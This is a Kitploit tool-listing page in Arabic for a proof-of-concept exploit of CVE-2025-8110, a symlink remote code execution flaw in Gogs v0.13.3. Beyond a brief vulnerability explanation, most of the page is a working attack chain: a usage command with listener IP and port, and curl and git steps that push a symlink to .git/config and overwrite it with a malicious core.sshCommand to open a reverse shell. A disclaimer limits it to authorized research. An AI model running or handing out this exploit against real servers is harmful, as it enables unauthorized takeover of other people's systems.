Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-8110-PoC — استغلال لمرة واحدة لثغرة RCE عبر الروابط الرمزية في Gogs (CVE-2025-8110) يُطلق قشرة عكسية عبر طلب PUT واحد إلى UpdateRepoFile. | Kitploit
أدوات/GitHubGitHub/mananispiwpiw/cve-2025-8110-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعد
GitHubmananispiwpiw/cve-2025-8110-poc

CVE-2025-8110-PoC

استغلال لمرة واحدة لثغرة RCE عبر الروابط الرمزية في Gogs (CVE-2025-8110) يُطلق قشرة عكسية عبر طلب PUT واحد إلى UpdateRepoFile.

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-8110 إثبات المفهوم (PoC)

نص برمجي بلغة بايثون لإثبات المفهوم (PoC) لثغرة CVE-2025-8110 — ثغرة تنفيذ أوامر عن بُعد (RCE) عبر الروابط الرمزية في UpdateRepoFile بإصدار Gogs v0.13.3. بضربة واحدة: طلب PUT الخبيث نفسه يُطلق git fetch → sshCommand → شلًا عكسيًا.

⚠️ لأغراض تعليمية وأبحاث أمنية مصرّح بها فقط. تشغيل هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها يُعدّ أمرًا غير قانوني.

التفاصيل

  • إثبات المفهوم (PoC) لثغرة CVE-2025-8110
  • الإصدار المتأثر: Gogs v0.13.3
  • الإصدار المُصحَّح: Gogs v0.13.4
  • المرجع: https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp

السلوك القابل للاستغلال

معالج UpdateRepoFile في internal/db/repo_editor.go يستدعي لكتابة محتوى الملف، وهذا الاستدعاء يتبع الروابط الرمزية دون التحقق منها. وبالاقتران مع أن التزامات الروابط الرمزية السابقة تتوغل داخل ، يمكن للمهاجم:

os.WriteFile
.git/
  1. دفع رابط رمزي x → .git/config إلى المستودع العاري (bare repo)
  2. استدعاء PUT /api/v1/repos/{owner}/{repo}/contents/x مع .git/config خبيث يحتوي على core.sshCommand مضبوطًا على أمر شل عكسي
  3. نفس طلب PUT يكتب الإعدادات ويُطلق git fetch origin (عبر CreateOrUpdateRepoFile → UpdateLocalCopyBranch)، الذي يقرأ الإعدادات المعدّلة وينفّذ sshCommand — مما يُحدث شلًا عكسيًا بضربة واحدة.

الملفات

  • poc.py: يطلب إدخال الهدف واسم المستخدم وكلمة المرور وLHOST وLPORT؛ ثم يسجّل الدخول، وينشئ رمز API، وينشئ مستودعًا، ويدفع رابطًا رمزيًا، ويستبدل .git/config عبر الـ API — طلب PUT الواحد نفسه يُطلق الشل العكسي.

الاستخدام

شغّل:

root@kitploit:~
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001

الوسائط

الوسيطمطلوبالوصف
--target / -tنعماسم مضيف أو عنوان URL لخادم Gogs الهدف
--usernameنعماسم مستخدم Gogs موجود
--passwordنعمكلمة مرور Gogs موجودة
--lhostنعمعنوان IP للمستمع (Listener) لاستقبال الشل العكسي
--lportنعممنفذ المستمع (Listener)

كيف يعمل

  1. تسجيل الدخول — يسجّل الدخول إلى واجهة Gogs على الويب باستخدام بيانات الاعتماد المقدَّمة
  2. الرمز (Token) — ينشئ رمز API شخصيًا عبر /user/settings/applications
  3. المستودع — ينشئ مستودعًا جديدًا فارغًا عبر واجهة Gogs API
  4. دفع الرابط الرمزي — يستنسخ المستودع، وينشئ رابطًا رمزيًا x → .git/config، ويلتزم به ويدفعه
  5. الاستبدال والتفعيل (بضربة واحدة) — يُرسل PUT /api/v1/repos/{owner}/{repo}/contents/x مع إعدادات git خبيثة تحتوي على core.sshCommand وعنوان URL بعيد عبر SSH. يستدعي CreateOrUpdateRepoFile في Gogs داخليًا UpdateLocalCopyBranch التي تُنفّذ git fetch origin، فيقرأ الإعدادات المسمومة وينفّذ sshCommand — مما يُحدث شلًا عكسيًا في طلب واحد.

أوامر curl المكافئة

تسجيل الدخول والحصول على CSRF

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
  -d '_csrf=<csrf>&user_name=<user>&password=<pass>'

إنشاء رمز API

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
  -d '_csrf=<csrf>&name=poc-token'

إنشاء مستودع

root@kitploit:~
curl -X POST http://target/api/v1/user/repos \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  -d '{"name":"poc-repo"}'

دفع الرابط الرمزي

root@kitploit:~
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master

الاستبدال والتفعيل (PUT واحد — توقّع انتهاء المهلة، ثم وصول الشل)

root@kitploit:~
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  --max-time 10 \
  -d '{"message":"x","content":"<base64 of malicious git config>"}'

طلب PUT نفسه يُطلق git fetch origin، الذي يقرأ .git/config المسموم وينفّذ الشل العكسي. لا حاجة إلى طلب ثانٍ.

لماذا --max-time 10؟ قد يتجمد الخادم لمدة ~10 ثوانٍ بينما يعالج git الكتابة ويُطلق الجلب. استخدام --max-time 10 يضمن إبقاء curl الاتصال مفتوحًا لفترة كافية ليتمكن الشل من الاتصال عائدًا. وبدونه، قد ينقطع الاتصال قبل انطلاق الشل.

تنزيل الأداة